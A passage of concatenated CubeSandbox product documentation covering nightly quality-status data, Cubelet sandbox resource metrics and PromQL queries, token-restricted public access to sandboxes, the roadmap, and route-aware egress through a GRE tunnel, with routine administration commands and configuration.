`E2B_API_URL` and that port 3000 is open | ## Reference * Example code: [`examples/host-mount/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/host-mount) * Related issue: [#239](https://github.com/TencentCloud/CubeSandbox/issues/239) --- --- url: https://cubesandbox.com/guide/quality-status.md --- ## Data Source This page loads the latest public nightly status from the Tencent Cloud COS JSON object at `https://cubesandbox-1253970226.cos.ap-singapore.myqcloud.com/page-data/quality-status.json`. To override the source for another deployment, configure `VITE_QUALITY_STATUS_JSON_URL` or `QUALITY_STATUS_JSON_URL`. Browser-side refresh requires the COS object to allow cross-origin `GET` requests from the documentation domain. The docs build remains offline-safe and only embeds local preview data when `QUALITY_STATUS_JSON_PATH` is set. For local preview, set `QUALITY_STATUS_JSON_PATH` to a JSON file with the same public schema. Only aggregate nightly E2E and performance data should be published. Do not include internal environment IDs, run IDs, logs, credentials, or private Web UI links. ## JSON Contract The public JSON object should contain the following top-level fields: ```json { "generatedAt": "2026-09-14T17:30:00+08:00", "date": "2026-09-14", "commit": "ba77166b93fa995837a4bca0ae33b51d69c0494c", "status": "passed", "e2e": { "status": "passed", "tests": { "total": 128, "passed": 126, "failed": 0, "errors": 0, "skipped": 2 }, "modules": [{ "module": "lifecycle", "total": 32, "passed": 32, "failed": 0, "errors": 0, "skipped": 0 }] }, "performance": { "status": "passed", "baseline": { "name": "v0.3.0 baseline", "url": "https://cubesandbox.com/blog/posts/2026-06-01-cubesandbox-perf-benchmark", "url_zh": "https://cubesandbox.com/zh/blog/posts/2026-06-01-cubesandbox-perf-benchmark" }, "counts": { "critical": 0, "warning": 1, "similar": 8, "improved": 2 }, "metrics": [{ "label": "3.2 Sandbox Create Latency", "current_text": "1.24s", "baseline_text": "1.31s", "delta_pct": -5.3, "verdict": "improved" }] } } ``` The status page picks the baseline link from the current locale. The Chinese page prefers `baseline.url_zh`; the English page prefers `baseline.url` or `baseline.url_en`. If the JSON contains only one URL, the page rewrites known public site and GitHub docs paths (`cubesandbox.com/guide/...` ↔ `/zh/guide/...`, and GitHub `docs/blog/posts/...` ↔ `docs/zh/blog/posts/...`). --- --- url: https://cubesandbox.com/guide/resource-metrics.md --- # Sandbox Resource Metrics Cubelet exposes CPU and memory metrics for running Cube sandboxes. One-click installations enable this capability by default at: ```text http://<cubelet-node>:9998/v1/metrics/resource ``` This endpoint is separate from Cubelet's generic `/v1/metrics` endpoint. `/v1/metrics` does not export generic `container_*` metrics. The sandbox metrics below are collected and exported separately at `/v1/metrics/resource`. Cubelet periodically collects resource data for the selected scopes in the background and caches the latest results in memory. A Prometheus scrape reads only this cache and does not synchronously contact every sandbox. The scrape therefore does not trigger runtime RPCs proportional to the number of sandboxes, although response size and serialization cost still grow with the exported series count. ::: warning Network access Cubelet's HTTP service has no built-in authentication or TLS. Expose port `9998` only on a trusted management network or restrict access with firewall or security-group rules. See [Network Hardening](./network-hardening.md). ::: ## Prerequisites * Resource metrics cover running Cube sandboxes. A paused, stopped, or deleted sandbox does not export current series. * The current release supports the single-container sandbox model, where the primary workload uses `container_id == sandbox_id`. Per-container breakdown for multi-container sandboxes is not yet available. * `guest_workload` requires a `cube-agent` that supports resource metrics capability version `1` on a unified cgroup v2 hierarchy. * `host_sandbox` depends only on the host sandbox cgroup, has broader compatibility, and is the default collected and exported scope. ## Accounting scopes Resource metrics provide two independent accounting views: | Scope | Accounting domain | Typical use | | --- | --- | --- | | `host_sandbox` | The sandbox cgroup accounted by the host kernel, including CubeShim, the VMM, and other charged host-side resources. | Host-side sandbox accounting and basic operational monitoring. | | `guest_workload` | The workload container cgroup accounted by the guest kernel, excluding management processes such as `cube-agent`. | User-code CPU utilization, memory utilization, and memory-limit monitoring. | | `all` | Exports both metric families. | Comparing workload usage with runtime overhead. | ::: tip Choosing a scope * Use the default `host_sandbox` scope for basic node-side monitoring. * Use `guest_workload` when workload-level utilization or memory pressure is required. * Use `all` when both accounting domains need to be compared. ::: The two scopes represent different accounting domains and must not be added into a generic total. `host_sandbox` memory is the host cgroup's memory charge. Shared snapshot pages and copy-on-write behavior affect this value, so it is not the guest's logical working set or a proportional physical-memory estimate. VMM overhead, shared pages, and private COW pages can make `host_sandbox` and `guest_workload` memory differ substantially. ## How collection works All collection is initiated by Cubelet on the host. A sandbox never pushes metrics to the host. ### `host_sandbox` Cubelet reads the host sandbox cgroup directly. This view does not depend on the `cube-agent` version captured in a template and does not use the guest metrics epoch. Host accounting follows the node's cgroup hierarchy and retains the project's existing cgroup v1 and cgroup v2 handling. ### `guest_workload` Cubelet calls containerd `Task.Stats`, CubeShim proxies the request, and `cube-agent StatsContainer` reads the workload container cgroup inside the sandbox. This view requires: * a unified cgroup v2 hierarchy inside the sandbox; * `cube-agent` resource metrics capability version `1`; * a complete workload response through CubeShim and `Task.Stats`; * Cubelet lifecycle state for metrics epochs and counter baselines. CubeShim enables the unified cgroup v2 hierarchy for `cube-agent` with `agent.unified_cgroup_hierarchy=true` when starting a sandbox. The `cube-agent` captured by an old template may not provide these capabilities. Such a sandbox does not export `guest_workload`, but it can still export `host_sandbox`. ## Cubelet configuration One-click installations place the Cubelet configuration at: ```text /usr/local/services/cubetoolbox/Cubelet/config/config.toml ``` The default resource metrics configuration is: ```toml [plugins."io.cubelet.internal.v1.resource-metrics"] enabled = true collection_interval = "5s" request_timeout = "2s" max_concurrent_requests = 8 stale_after = "15s" export_scopes = ["host_sandbox"] ``` ### Configuration settings | Setting | Meaning | | --- | --- | | `enabled` | Enables resource collection. When `false`, the endpoint still returns HTTP 200 but exports no sandbox resource series. | | `collection_interval` | Target interval for refreshing Cubelet's in-memory cache. It controls `Task.Stats` RPC and host cgroup read frequency independently of Prometheus scraping. | | `request_timeout` | Timeout for one `Task.Stats` request or host cgroup read. | | `max_concurrent_requests` | Maximum concurrent requests for one collector. `guest_workload` and `host_sandbox` each use this limit, and their concurrency limits are independent. | | `stale_after` | Stops exporting a scope when its last successful sample becomes older than this duration. It must not be shorter than `collection_interval` and should allow for scheduling delay and transient collection failures. | | `export_scopes` | Controls which scopes are collected and exposed. Supported values are `["host_sandbox"]`, `["guest_workload"]`, and `["all"]`; the default is `["host_sandbox"]`. An unselected collector is not started; `["all"]` starts both collectors. | During a transient collection failure, Cubelet continues exporting the latest successful sample. The scope disappears only after the sample becomes older than `stale_after`. Invalid configuration prevents Cubelet from starting. Examples include `stale_after` being shorter than `collection_interval` or `export_scopes` containing an unsupported value. Restart Cubelet after editing the file: ```bash sudo systemctl restart cube-sandbox-cubelet.service ``` ## Prometheus scrape configuration Use a separate scrape job for sandbox resource metrics: ```yaml scrape_configs: - job_name: cubesandbox-resource scrape_interval: 30s scrape_timeout: 10s metrics_path: /v1/metrics/resource static_configs: - targets: - <compute-node-ip>:9998 ``` Replace the target with each Cubelet node's address on the trusted management network. A separate job allows scrape intervals, timeouts, and `metric_relabel_configs` to be tuned without changing Cubelet's generic metrics job. The resource endpoint processes at most two scrapes concurrently. Requests above this limit receive HTTP 503 so overlapping large responses cannot consume unbounded Cubelet CPU and memory. A normal single Prometheus scrape job does not hit this limit. If 503 responses occur, check for duplicate Prometheus jobs or concurrent manual scrapes of the same node. ### Verify the endpoint Confirm that Cubelet is running and that the node has at least one sandbox in the `Up` state: ```bash sudo systemctl is-active cube-sandbox-cubelet.service /usr/local/services/cubetoolbox/Cubelet/bin/cubecli cubebox ls -a --no-trunc ``` After at least one collection interval, run this command on the Cubelet node: ```bash curl -fsS http://127.0.0.1:9998/v1/metrics/resource | \ grep '^cubesandbox_' ``` The default configuration exports `cubesandbox_host_sandbox_*` metrics. To export `guest_workload`: 1. Set `export_scopes` to `["guest_workload"]` or `["all"]`. 2. Restart Cubelet. 3. Confirm that the sandbox's `cube-agent` supports resource metrics capability version `1`. HTTP 200 with an empty response does not necessarily indicate a failure. The endpoint is empty when the node has no running sandbox, the plugin is disabled, or Cubelet has not completed its first sample. ## Base metric families Cubelet exports only counters and gauges. Prometheus queries derive CPU cores used and CPU or memory utilization percentages. CPU and memory limit metrics are exported only when the cgroup has a finite limit. Cubelet does not substitute `0` or a large sentinel for an unlimited value. Current memory remains available whenever the corresponding scope is available. ### `host_sandbox` metrics `host_sandbox` metrics have only the `sandbox_id` label. Cumulative metrics contain usage from the current sandbox's assignment to the host cgroup. They exclude history left by a previous sandbox in the same reusable cgroup pool slot. | Metric | Type | Unit and meaning | | --- | --- | --- | | `cubesandbox_host_sandbox_cpu_usage_seconds_total` | Counter | Total host CPU seconds used by the sandbox. | | `cubesandbox_host_sandbox_cpu_user_seconds_total` | Counter | Total user-space CPU seconds. | | `cubesandbox_host_sandbox_cpu_system_seconds_total` | Counter | Total system-space CPU seconds. | | `cubesandbox_host_sandbox_cpu_throttled_seconds_total` | Counter | Total CPU throttling time in seconds. | | `cubesandbox_host_sandbox_cpu_periods_total` | Counter | Total CPU scheduling periods. | | `cubesandbox_host_sandbox_cpu_throttled_periods_total` | Counter | Total throttled CPU scheduling periods. | | `cubesandbox_host_sandbox_cpu_limit_cores` | Gauge | Finite host sandbox cgroup CPU limit in cores. | | `cubesandbox_host_sandbox_memory_current_bytes` | Gauge | Current bytes charged to the host sandbox cgroup. | | `cubesandbox_host_sandbox_memory_limit_bytes` | Gauge | Finite host sandbox cgroup memory limit in bytes. | | `cubesandbox_host_sandbox_memory_failures_total` | Counter | Memory-limit failures during the current sandbox's cgroup assignment. | ### `guest_workload` metrics `guest_workload` metrics have these labels: * `sandbox_id` * `container_id` Cumulative metrics are scoped to the current metrics epoch and exclude history inherited from a template, clone, or rollback. The lifecycle semantics are described below. | Metric | Type | Unit and meaning | | --- | --- | --- | | `cubesandbox_guest_workload_cpu_usage_seconds_total` | Counter | Total CPU seconds. | | `cubesandbox_guest_workload_cpu_user_seconds_total` | Counter | Total user-space CPU seconds. | | `cubesandbox_guest_workload_cpu_system_seconds_total` | Counter | Total system-space CPU seconds. | | `cubesandbox_guest_workload_cpu_throttled_seconds_total` | Counter | Total CPU throttling time in seconds. | | `cubesandbox_guest_workload_cpu_periods_total` | Counter | Total CPU scheduling periods. | | `cubesandbox_guest_workload_cpu_throttled_periods_total` | Counter | Total throttled CPU scheduling periods. | | `cubesandbox_guest_workload_cpu_limit_cores` | Gauge | Finite workload CPU limit in cores. | | `cubesandbox_guest_workload_memory_current_bytes` | Gauge | Current bytes charged to the workload cgroup. | | `cubesandbox_guest_workload_memory_limit_bytes` | Gauge | Finite workload memory limit in bytes. | | `cubesandbox_guest_workload_memory_failures_total` | Counter | Memory-limit failures during the current metrics epoch. | | `cubesandbox_guest_workload_metrics_epoch` | Gauge | Current metrics epoch generation. | | `cubesandbox_guest_workload_metrics_epoch_start_time_seconds` | Gauge | Metrics epoch start time as Unix seconds. | ## PromQL examples ### Host-side CPU cores used This query returns the sandbox's average host CPU cores used, including VMM and CubeShim overhead: ```promql rate(cubesandbox_host_sandbox_cpu_usage_seconds_total[5m]) ``` ### Host-side CPU utilization This query calculates utilization relative to the finite CPU limit configured on the host sandbox cgroup: ```promql 100 * rate(cubesandbox_host_sandbox_cpu_usage_seconds_total[5m]) / cubesandbox_host_sandbox_cpu_limit_cores ``` Without a finite CPU limit, CPU cores used remain available but there is no well-defined denominator for a utilization percentage. ### Host-side memory charge ```promql cubesandbox_host_sandbox_memory_current_bytes ``` This value shows the memory currently charged to the sandbox's host cgroup. It must not be interpreted as the guest's logical working set. Shared snapshot pages can make it lower than `guest_workload` current memory, while VMM, CubeShim, and private COW pages can make it higher. ### Host-side memory utilization ```promql 100 * cubesandbox_host_sandbox_memory_current_bytes / cubesandbox_host_sandbox_memory_limit_bytes ``` When the host sandbox cgroup has no finite memory limit, Cubelet omits `cubesandbox_host_sandbox_memory_limit_bytes` and a limit-relative percentage cannot be calculated. ### Workload CPU cores used This query returns the workload's average CPU cores used during the selected window: ```promql rate(cubesandbox_guest_workload_cpu_usage_seconds_total[5m]) ``` A result of `0.5` means the workload used about half a CPU core on average during the query window. ### Workload CPU utilization This query calculates utilization relative to the workload's finite CPU limit: ```promql 100 * rate(cubesandbox_guest_workload_cpu_usage_seconds_total[5m]) / cubesandbox_guest_workload_cpu_limit_cores ``` Without a finite workload CPU limit, CPU cores used remain available but a limit-relative percentage cannot be calculated. ### Workload memory utilization ```promql 100 * cubesandbox_guest_workload_memory_current_bytes / cubesandbox_guest_workload_memory_limit_bytes ``` When the workload has no finite memory limit, Cubelet omits `cubesandbox_guest_workload_memory_limit_bytes` and a limit-relative percentage cannot be calculated. ### Workload memory-limit failures This query returns memory-limit failures during the last five minutes: ```promql increase(cubesandbox_guest_workload_memory_failures_total[5m]) ``` ### Detect metrics epoch changes This query returns the number of epoch changes for existing series during the last five minutes and can mark rollback or other accounting-window changes: ```promql changes(cubesandbox_guest_workload_metrics_epoch[5m]) ``` ## Lifecycle semantics This section describes the `guest_workload` metrics epoch and how both scopes behave during pause, rollback, and deletion. ### Why `guest_workload` needs a metrics epoch CPU time and memory-limit failures come from cumulative cgroup counters. Creating a template or snapshot preserves these counters with the sandbox state. A sandbox created from inherited state receives the existing values, and rollback can move raw counters back to their snapshot values. Exporting raw counters directly under `sandbox_id` would include CPU and memory-failure history from template creation in every new sandbox. Rollback could also make a counter decrease without identifying why. Cubelet therefore creates a metrics epoch for each new `guest_workload` state and uses the first successful sample as its baseline: ```text exported cumulative value = current raw value - current epoch baseline ``` This removes inherited history and represents post-rollback data as a new accounting window. Current memory is a point-in-time value and is not baseline-subtracted. ### `guest_workload` lifecycle | Lifecycle event | Metric behavior | | --- | --- | | Fresh creation, creation from a template or snapshot, clone, or workload recreation | Creates a new metrics epoch and uses the first successful sample to remove inherited cumulative history. | | Snapshot creation or template commit | Keeps the current metrics epoch. | | Rollback | Stops exporting during rollback, then creates a new metrics epoch whose cumulative metrics restart from `0`. If runtime restore fails after dispatch, the new epoch stays prepared and `guest_workload` remains unavailable until a later rollback succeeds or the sandbox is deleted and recreated. | | Pause | Keeps the current metrics epoch but stops exporting instead of emitting `0`. | | Resume | Continues the metrics epoch that existed before pause. | | Delete | Removes cached samples and metric series. | | Cubelet restart | Restores the persisted metrics epoch and baseline instead of recalculating the existing window. | If a lifecycle metadata failure temporarily leaves a running sandbox without a persisted fresh metrics epoch, the `guest_workload` sampler recreates and persists the missing pending epoch before collecting it. A failed recovery remains unavailable and is retried on a later collection cycle. Prometheus does not understand Cubelet's metrics epoch semantics. `rate()` and `increase()` treat an epoch transition as a counter reset only when the cumulative value actually decreases. Use these metrics when an application must reliably identify rollback or another accounting-window change: * `cubesandbox_guest_workload_metrics_epoch` * `cubesandbox_guest_workload_metrics_epoch_start_time_seconds` The current release does not export an exact memory peak scoped to a metrics epoch. Current memory remains the point value at collection time. ### `host_sandbox` lifecycle `host_sandbox` does not use the guest metrics epoch. It follows the host cgroup assignment: * When a new sandbox receives a reusable host cgroup pool slot, Cubelet reads and persists the assignment baseline before attaching the sandbox process. * A sandbox that already existed when Cubelet was upgraded may not have this persisted field; Cubelet establishes its compatibility baseline from the first successful sample after upgrade. * Cubelet retries transient assignment-counter read failures before the sandbox process is attached. If all attempts fail, sandbox creation continues but `host_sandbox` remains unavailable for that sandbox rather than exporting an incomplete cumulative window. Recreate the sandbox after correcting a persistent host cgroup read failure. * A new sandbox does not inherit CPU or memory-failure history from the previous occupant of the same slot. * Snapshot creation and rollback do not reset the baseline because they do not replace the host sandbox process or cgroup assignment. * Pause stops exporting; resume continues the previous cumulative values. * Deletion removes the corresponding series. ::: tip Collection and scrape tuning `collection_interval` controls `Task.Stats` RPC and host cgroup read frequency, while Prometheus `scrape_interval` controls HTTP scrapes and sample ingestion. On nodes with many sandboxes, or when Prometheus scrapes only every few minutes, increase `collection_interval` and `stale_after` together. The resource endpoint stores only the latest sample and no history. Short memory peaks between Prometheus scrapes are not retained. A CPU rate window should contain multiple samples successfully written to Prometheus. Neither interval reduces the number of active series. With `export_scopes = ["all"]`, one fully populated single-container sandbox exports at most 22 series. To reduce series count, change `export_scopes` or use Prometheus `metric_relabel_configs`. ::: ## Upgrading old templates and snapshots A snapshot template captures the guest processes and their memory state. Upgrading Cubelet, CubeShim, or guest image files on the node does not replace the `cube-agent` captured in an old template's memory snapshot. An old `cube-agent` may lack the required cgroup v2 accounting semantics and resource metrics capability version `1`. Such a sandbox does not export `guest_workload`, but it can still export `host_sandbox`. ### Image-built templates Run template `redo` for an image-built template. `redo` uses the node's current guest image and `cube-agent` to rebuild a replica for the same template ID. After the task completes, newly created sandboxes can export `guest_workload` metrics. After a node upgrade, templates marked **Needs rebuild** in the Dashboard must be rebuilt (click **Rebuild Template**) before you create sandboxes from them. Other templates can still be used directly — creation looks up the recorded versions on the node (or downloads them from the component warehouse). Click **Rebuild Template** on an already-usable template only when you want the node's current guest image / `cube-agent` so new sandboxes can export `guest_workload` metrics. ### User snapshots and existing sandboxes * For a user snapshot created from a running sandbox, create a sandbox from a compatible new template and then create a new snapshot. * A running or paused old sandbox retains its in-memory `cube-agent` and must be deleted and recreated to complete the upgrade. The one-click bundle writes the reviewed `cube-agent` into the guest image. As long as the template is `READY` and is not marked **Needs rebuild**, you can still create sandboxes after an upgrade. At runtime, CubeShim also validates the resource metrics capability version returned by `StatsContainer`, preventing all-zero or incomplete `guest_workload` data from being accepted as valid metrics. ## Troubleshooting | Symptom | Common cause and action | | --- | --- | | Cannot connect to port `9998` | Confirm that `cube-sandbox-cubelet.service` is running, then check the listener address, firewall, and security-group rules. | | HTTP 200 but no `cubesandbox_*` metrics | Confirm `enabled = true`, verify that the node has a sandbox in the `Up` state, and wait at least one `collection_interval`. Paused sandboxes do not export metrics. | | `guest_workload` is configured but no guest metrics appear | Confirm that `export_scopes` is `["guest_workload"]` or `["all"]`. If it is, the sandbox's `cube-agent` usually has not declared resource metrics capability version `1`; run template `redo` for an image-built template. If the template is compatible, inspect Cubelet's `Task.Stats` errors. | | Existing metrics suddenly disappear | The sandbox may have been paused or deleted, or repeated collection failures may have made the latest sample older than `stale_after`. | | A new sandbox has no `host_sandbox` metrics | Cubelet may have exhausted the assignment-baseline read attempts during creation. Inspect the Cubelet log for `capture host metrics baseline`, correct the persistent host cgroup read failure, and recreate the sandbox. | | A scrape returns HTTP 503 | Two resource-metrics scrapes are already being processed on the node. Check for duplicate scrape jobs or concurrent manual requests. | | CPU or memory limit metrics are missing | The corresponding cgroup has no finite limit. This is expected; cumulative CPU and current memory metrics remain available. | | Metrics update at an unexpected frequency | `collection_interval` controls Cubelet collection, while Prometheus `scrape_interval` controls sample persistence. Check both settings. | Check systemd logs when Cubelet fails to start. When the service is running but collection fails, inspect the Cubelet application log: ```bash sudo journalctl -u cube-sandbox-cubelet.service -n 200 --no-pager sudo tail -200 /data/log/Cubelet/Cubelet-req.log ``` --- --- url: https://cubesandbox.com/guide/restrict-public-access.md --- # Restrict Public Access By default a Cube Sandbox's [public URL](/guide/network-policy) is reachable by anyone who knows the sandbox ID — the URL is unguessable, but knowledge of it is the only thing standing between the workload and the internet. For sensitive use cases (long-running agents handling private data, dashboards exposed to partner networks, demos that shouldn't be replayed) Cube Sandbox can require every caller to authenticate with a per-sandbox token before any request reaches the services inside. This page is the operator-facing counterpart of E2B's [Restricting public access][e2b-doc] feature; both share the `network.allowPublicTraffic` parameter and the `e2b-traffic-access-token` header, so existing e2b code ports without changes. [e2b-doc]: https://e2b.dev/docs/network/restrict-public-access ## How it works Creating a sandbox with `network.allow_public_traffic = false` returns a per-sandbox `traffic_access_token` on the create response. Every inbound request to the sandbox's public URL must then carry the token in either of two equivalent headers: * `e2b-traffic-access-token` (E2B-compatible) * `cube-traffic-access-token` (CubeSandbox-native alias) Requests missing the header — or carrying a wrong value — are rejected with **HTTP 403** before reaching the sandbox. ## Quickstart ```python from cubesandbox import Sandbox import requests sandbox = Sandbox.create( template=template_id, network={"allow_public_traffic": False}, ) print(sandbox.traffic_access_token) # e.g. 4f8a2b1c9d7e3f5a6b0c8d2e4f6a9b1c3d5e7f9a0b2c4d6e8f1a3b5c7d9e0f2a # Start a server inside the sandbox (the all-in-one test image already # has nginx on :80, otherwise launch your own and use commands.run). url = f"http://{sandbox.get_host(80)}/" # No header → 403 resp = requests.get(url) assert resp.status_code == 403 # E2B-compatible header → 200 resp = requests.get( url, headers={"e2b-traffic-access-token": sandbox.traffic_access_token}, ) assert resp.status_code == 200 # CubeSandbox-native alias → also 200 resp = requests.get( url, headers={"cube-traffic-access-token": sandbox.traffic_access_token}, ) assert resp.status_code == 200 ``` The full TUI version of this script — with side-by-side probe summaries and a verdict panel — lives at [`examples/code-sandbox-quickstart/restrict_public_access.py`][demo]. [demo]: https://github.com/tencentcloud/CubeSandbox/blob/master/examples/code-sandbox-quickstart/restrict_public_access.py ## Default behavior Omitting `allow_public_traffic` (or passing `True`) preserves the historical "anyone with the URL can reach the sandbox" behavior. No token is minted, and `sandbox.traffic_access_token` is `None`. This keeps all existing callers working unchanged. | Caller intent | What to pass | `traffic_access_token` | CubeProxy behavior | |---|---|---|---| | Default — publicly reachable | omit `network`, or `allow_public_traffic=True` | `None` | accepts every request | | Lock down | `network={"allow_public_traffic": False}` | opaque token | rejects requests without a valid token header (403) | The same enforcement applies to every CubeProxy ingress listener (HTTP, HTTPS, and the plaintext gRPC port `9090` by default). gRPC callers should send the token as metadata using `e2b-traffic-access-token` or `cube-traffic-access-token`. ## Header semantics Both `e2b-traffic-access-token` and `cube-traffic-access-token` accept the same opaque token, are case-insensitive (HTTP header rules), and take precedence in that order — if both are present the `e2b-` value wins. Provide them via your HTTP client: ```bash curl -H "e2b-traffic-access-token: $TOKEN" \ "http://80-$SANDBOX_ID.cube.app/" ``` ```javascript fetch(url, { headers: { "e2b-traffic-access-token": token } }) ``` Token values never appear in server logs. ## Lifecycle & persistence * **Single delivery.** The token is only attached to the response of the original create request. If you need it later in the workflow, persist it on the caller side at that moment. * **No rotation API.** A given sandbox keeps the same token for its entire lifetime. To rotate, create a new sandbox. * **No effect on `connect()` / `resume()`.** Resuming a paused sandbox does not re-emit the token; existing callers continue to use the token they already have. * **Cleanup is automatic.** The token is dropped when the sandbox is destroyed. ## Combining with other network policies `allow_public_traffic` controls **inbound** access to the sandbox's public URL. It is orthogonal to: * [Network Policy](/guide/network-policy) — outbound CIDR allow/deny lists (`allow_out` / `deny_out`, `allow_internet_access`). * [Security Proxy](/guide/security-proxy) — L7 rule list applied to outbound HTTP/HTTPS. A typical "private agent" deployment combines all three: deny most outbound traffic except a few SaaS APIs (network policy + security proxy), inject the API credential server-side so it never enters the sandbox (security proxy), and require a token on every inbound request (this page). ## Error model | HTTP status | Returned when | |---|---| | `200` (or your upstream's status) | token matches | | `403` | sandbox is restricted (`allow_public_traffic=false`), but the request carries no `e2b-traffic-access-token` / `cube-traffic-access-token`, or the value does not match | All other sandbox error paths (sandbox not found, upstream unhealthy, etc.) are unchanged from the public-by-default flow. --- --- url: https://cubesandbox.com/guide/roadmap.md --- # Roadmap *** ## Coming Soon ### Cross-Node Pause/Resume Performance Cross-node pause/resume landed in v0.7.0 as a preview. The next step is performance: cut pause/resume latency and speed up snapshot transfer so that resuming on another node approaches same-node speed. ### E2B API Compatibility Close the remaining gaps between CubeSandbox's API surface and the E2B specification. The goal is full drop-in compatibility so that workloads and SDK clients targeting E2B can run against a self-hosted CubeSandbox cluster without modification. ### Sandbox Fault Recovery Automatic detection and recovery of sandboxes in abnormal states — crashed VMs, stuck shim processes, and network partitions. Includes a configurable recovery policy (restart, rollback to last snapshot, or surface to caller) and improved observability around failure events. ### Scheduling and Operations Enhancements Richer scheduling capabilities including resource-aware placement, affinity/anti-affinity rules, and priority classes. Also covers operational tooling: live resource rebalancing and node drain with sandbox migration. ### S3 Performance and Cost Optimization Cross-node pause/resume and volumes already persist through S3-compatible object storage. Next is to cut both latency and bill: incremental uploads, better local cache, and cheaper storage classes so snapshot transfer and volume I/O stay fast without paying full-object prices every time. ### Filesystem-Only Snapshots Today a snapshot captures memory and the writable filesystem together. A filesystem-only snapshot skips the memory dump so clone and restore are cheaper and faster when the workload can cold-start from disk — installed packages, workspace files, and envd state — without a live RAM image. ### GPU Sandboxes Attach host GPUs to sandboxes so Agent and inference workloads can run CUDA (and similar accelerators) inside the same isolated VM model, with the scheduler accounting for GPU inventory and placement. *** ## How to Influence the Roadmap 1. **Open an issue** with the `enhancement` label — feature requests are reviewed during sprint planning 2. **Vote with 👍** on existing issues to signal priority 3. **Start a discussion** — major design decisions happen in GitHub Issues before any code is written 4. **Contribute** — PRs are welcome; for anything non-trivial, discuss in an issue first See [CONTRIBUTING.md](https://github.com/TencentCloud/CubeSandbox/blob/master/CONTRIBUTING.md) for contribution guidelines. --- --- url: https://cubesandbox.com/guide/route-aware-egress.md --- # Route-Aware Egress By default, CubeSandbox keeps the original egress behavior: CubeVS sends sandbox outbound packets directly to the node's primary network interface. This is simple and works well for single-NIC nodes, but it does not let the Linux routing table choose another egress device, such as a secondary NIC, GRE tunnel, VXLAN device, VPN interface, or policy-routed path. The optional **cube-router** mode changes only the host-side egress path. Sandbox network policy, DNS allow-list learning, CubeEgress L7 proxying, and port mapping keep their existing semantics. ## When To Enable It Enable cube-router when sandbox traffic should follow host routing instead of always leaving from the primary NIC. Common cases include: * The node has multiple NICs and different destination CIDRs should leave through different interfaces. * Some destinations are reachable only through a tunnel device, such as GRE, VXLAN, WireGuard, or an internal VPN. * You need route-aware sandbox egress without changing the host's global default route. Keep it disabled when the primary NIC direct path is enough. The default is disabled for upgrade compatibility. ## How It Works When cube-router is disabled, CubeVS performs the original direct SNAT path: ```mermaid flowchart LR sandbox[Sandbox] --> tap[TAP] tap --> fromCube[CubeVS from_cube] fromCube --> nic[Primary NIC] ``` When cube-router is enabled, CubeVS first normalizes outbound packets to an internal NAT IP, then injects them into an internal dummy device named `cube-router`. From there, the Linux kernel performs normal forwarding, conntrack, routing lookup, and final MASQUERADE: ```mermaid flowchart LR sandbox[Sandbox] --> tap[TAP] tap --> fromCube[CubeVS from_cube] fromCube --> router[cube-router] router --> kernel[Linux routing table] kernel --> egress[Selected egress device] ``` This means CubeSandbox does not need to understand every device type. If Linux can route traffic through that device, sandbox egress can use it. Port mapping remains bound to the node's primary NIC. It is not exposed on every possible egress device. ## Enable During Installation Set these variables in `deploy/one-click/.env` before running the one-click installer or upgrade: ```bash CUBE_SANDBOX_CUBE_ROUTER_ENABLE=1 # Optional. Leave empty to derive addresses from CUBE_SANDBOX_NETWORK_CIDR. CUBE_SANDBOX_CUBE_ROUTER_CIDR= ``` If `CUBE_SANDBOX_CUBE_ROUTER_CIDR` is empty, CubeSandbox reserves the last two usable IPs from the sandbox CIDR. With the default sandbox CIDR `192.168.0.0/18`, this becomes: | Address | Purpose | | --- | --- | | `192.168.63.253/32` | `cube-router` device IP | | `192.168.63.254` | internal SNAT IP used before host routing | If you set a custom cube-router CIDR, it must be an aligned private IPv4 CIDR with a mask between `/16` and `/30`. CubeSandbox uses `.1` as the router IP and `.2` as the internal SNAT IP: ```bash CUBE_SANDBOX_CUBE_ROUTER_ENABLE=1 CUBE_SANDBOX_CUBE_ROUTER_CIDR=10.254.0.0/24 ``` The custom CIDR must not overlap with existing host routes or interface addresses. When cube-router is enabled for the first time, existing outbound connections from running sandboxes are interrupted. They work normally after the application reconnects through the new cube-router path. ## Verify After installation, check that the device, route, and NAT rule exist: ```bash ip addr show cube-router ip route | grep cube-router iptables -t nat -S POSTROUTING | grep MASQUERADE ``` Create a sandbox with normal egress policy, then test a destination whose host route should use a non-primary device: ```bash ip route get <destination-ip> tcpdump -ni cube-router host <destination-ip> tcpdump -ni <egress-device> host <destination-ip> ``` You should see the packet first on `cube-router` and then on the device selected by the host route. The packet source on the final egress device should be the egress device's host IP after MASQUERADE. ## Notes * cube-router does not change sandbox `allow_out`, `deny_out`, or L7 `rules`. * CubeEgress still receives HTTP/HTTPS traffic selected by CubeVS and the host TPROXY rules. * Do not change the host's global default route just to test cube-router. Add specific host routes or policy routes for the destinations you want to validate. * To disable the feature, set `CUBE_SANDBOX_CUBE_ROUTER_ENABLE=0` and run the normal upgrade/reinstall flow so generated config and host networking are reconciled. ## Example 1: GRE Remote As Internet Gateway This example sends the default egress path through a GRE tunnel, so sandbox internet traffic reaches the public network through the GRE remote node. Private-address traffic, such as `10.0.0.0/8`, `172.16.0.0/12`, and `192.168.0.0/16`, stays on the Cube node's physical NIC. If you configure this over SSH, keep an explicit route for the GRE underlay peer and your SSH client before replacing the default route. Example topology: | Role | Example value | | --- | --- | | Cube node underlay IP | `203.0.113.10` | | Cube node physical NIC | `eth0` | | Cube node physical gateway | `203.0.113.1` | | GRE remote underlay IP | `198.51.100.20` | | GRE tunnel name | `natgre` | | Cube-side GRE IP | `169.254.100.1/30` | | Remote-side GRE IP | `169.254.100.2/30` | | GRE remote internet NIC | `eth0` | The cloud security group or firewall must allow GRE, which is IP protocol `47`, between the two underlay IPs. On the GRE remote node: ```bash #!/usr/bin/env bash set -euo pipefail CUBE_UNDERLAY_IP="203.0.113.10" REMOTE_UNDERLAY_IP="198.51.100.20" REMOTE_EGRESS_NIC="eth0" TUNNEL_NAME="natgre" REMOTE_TUNNEL_CIDR="169.254.100.2/30" modprobe ip_gre ip tunnel del "${TUNNEL_NAME}" 2>/dev/null || true ip tunnel add "${TUNNEL_NAME}" mode gre local "${REMOTE_UNDERLAY_IP}" remote "${CUBE_UNDERLAY_IP}" ttl 255 ip addr replace "${REMOTE_TUNNEL_CIDR}" dev "${TUNNEL_NAME}" ip link set "${TUNNEL_NAME}" up mtu 1476 sysctl -w net.ipv4.ip_forward=1 iptables -t nat -C POSTROUTING -s 169.254.100.0/30 -o "${REMOTE_EGRESS_NIC}" -j MASQUERADE 2>/dev/null \ || iptables -t nat -A POSTROUTING -s 169.254.100.0/30 -o 